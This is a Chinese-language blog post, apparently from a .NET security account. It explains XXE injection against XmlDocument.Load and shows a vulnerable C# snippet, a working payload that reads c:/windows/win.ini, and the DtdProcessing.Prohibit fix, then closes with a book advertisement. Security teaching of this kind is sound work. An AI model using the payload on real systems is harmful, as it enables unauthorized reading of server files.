大数跨境
0
0

从外部实体到文件读取:.NET XXE 实战剖析

从外部实体到文件读取:.NET XXE 实战剖析 dotNet安全矩阵
2025-11-03
0

在红队渗透测试中,XML 外部实体注入漏洞是一种常见且危害极大的攻击向量。通过精心构造的 XML payload,攻击者可读取服务器本地文件、探测内网服务,甚至执行远程代码在特定配置下。本文将从红队实战角度,结合XmlDocument.Load方法的典型案例,深入解析 XXE 漏洞的挖掘思路、利用技巧及防御绕过策略。

01. XML技术背景


与 MySQL、Oracle 等数据库不同,XML 并不提供索引、排序等复杂数据处理能力,更适合作为系统间数据传输的载体临时数据集容器,在跨平台、跨语言的场景中发挥重要作用。XML 技术体系可分为三个核心层面:

  • XML 结构
    包括基础语法、核心概念及结构约束技术。其中,DTD文档类型定义和 XML Schema 用于描述 XML 文档的数据结构,弥补了 XML 自身缺乏结构约束的缺陷 —— 简单来说,XML 负责包装数据,而 DTD 和 Schema 则负责定义数据规则。
  • XML 处理
    涵盖对 XML 文档的解析与操作技术,如 XML DOM通过对象模型映射 XML 结构、XPath快速定位文档内容、SAX 与 XMLReader流式解析技术。这些技术在.NET Framework 中均有原生支持。
  • XML 转换
    通过 XSL扩展样式表语言,其中 XSLT 负责转换逻辑和 CSS层叠样式表将 XML 数据转换为可展示的格式,实现数据存储与展示的分离。

    XML 作为一种通用的数据描述语言,其核心价值在于数据的存储与传输,这与以数据展示为核心的 HTML 形成鲜明对比。

    02. XML外部实体注入


    XXE 是一种针对 XML 解析器的安全漏洞,其根源在于解析器对外部实体的不当处理。当 XML 文档中包含外部实体引用,比如通过SYSTEM关键字引用本地文件或远程资源,且解析器未限制外部实体解析时,攻击者可构造恶意 XML 文档,实现未授权访问敏感文件、探测内网信息甚至执行远程代码等攻击。

    以读取本地敏感文件为例,恶意 XML 文档结构如下:

     

    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE order [
        <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
    ]>
    <order>
        &xxe;
    </order>

     

    上述文档定义了一个外部实体xxe,指向本地文件c:/windows/win.ini。当解析器解析该文档时,若允许外部实体解析,会将win.ini的内容替换到&xxe;的位置,导致敏感信息泄露。
    03. .NET XML解析器


    在.NET 中,XmlDocument类是处理 XML 的常用工具,其Load方法可加载本地 XML 文件并解析。若开发者未对 XML 解析过程进行安全配置,将直接导致 XXE 漏洞。

    目标系统使用XmlDocument.Load方法加载外部 XML 文件,以下是存在安全风险的代码示例:

     

    private static string xml = "D:\\exp.xml";  // 加载指定路径的XML文件
    XmlDocument doc = new XmlDocument();
    doc.Load(xml);  // 加载并解析XML内容
    string innerText = doc.InnerText;  // 提取XML文本内容
    if (innerText.Contains("16-bit"))
        Response.Write(innerText);  // 输出包含敏感信息的内容
    else
        Response.Write("fail");

     

    上述代码的风险点在于:XmlDocument.Load默认会解析 XML 中的外部实体,且未禁用DOCTYPE声明,攻击者若能控制exp.xml的内容,即可注入恶意外部实体。

    红队攻击者可构造如下 XML 文件(exp.xml),利用外部实体读取系统敏感文件C:\windows\win.ini

     

     

    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE order [  <!-- 定义DOCTYPE,声明外部实体 -->
      <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">  <!-- 引用本地文件 -->
    ]>
    <order>
      <itemID>&xxe;</itemID>  <!-- 在XML内容中引用实体 -->
    </order>

     

    • <!DOCTYPE order [...]>定义文档类型为 order,并在内部声明实体;
    • <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> 定义外部实体
    xxe,指向本地文件win.inifile://协议用于访问本地文件);
    • <itemID>&xxe;</itemID>在 XML 元素中引用实体xxe,解析时会替换为
    win.ini的内容。

    04. 通用防御与对策


    针对 XmlTextReader 带来的 XXE 风险,需从解析器配置、技术选型和输入验证三个层面进行防护

    禁用外部实体解析
    在 XML 解析器中禁用DOCTYPE解析或外部实体加载。例如,.NET 中可通过XmlReaderSettings配置。

     

    XmlReaderSettings settings = new XmlReaderSettings();
    settings.DtdProcessing = DtdProcessing.Prohibit;  // 禁止解析DTD
    XmlReader reader = XmlReader.Create(xmlPath, settings);
    XmlDocument doc = new XmlDocument();
    doc.Load(reader);

     

      

     

    验证输入的数据

    对所有外部输入的 XML 数据进行验证,仅接受来自可信源的数据,并通过白名单机制限制外部实体引用,比如禁止file://http://等协议。

    免责声明:此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失,均由使用者为自身的行为负责并承担全部的法律和连带责任,与本号及作者无关,请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试,禁止用于其他方面。

    05. 扩展阅读学习


    以上知识点已收录于新书《.NET安全攻防指南》,并且有完整详细的介绍。另外,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。

    上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。

    双十一购物狂欢节来啦!《.NET 安全攻防指南》自上线就圈粉无数,读者抢单不断、好评刷屏,现在更是赶上年度特惠 —— 原价 258 元双十一专属价仅需 141 元!库存有限,手慢无!感兴趣的朋友,开手机京东 APP 就能下单,把硬核.NET 安全知识带回家!

    【声明】内容源于网络
    0
    0
    dotNet安全矩阵
    感谢关注"dotNet安全矩阵",分享微软.NET安全技术知识的盛宴,这里不仅有C#安全漏洞,还有.NET反序列化漏洞研究,只要是.NET领域的安全技能均在话题范围内,风里雨里我在这里等你。
    内容 414
    粉丝 0
    dotNet安全矩阵 感谢关注"dotNet安全矩阵",分享微软.NET安全技术知识的盛宴,这里不仅有C#安全漏洞,还有.NET反序列化漏洞研究,只要是.NET领域的安全技能均在话题范围内,风里雨里我在这里等你。
    总阅读62
    粉丝0
    内容414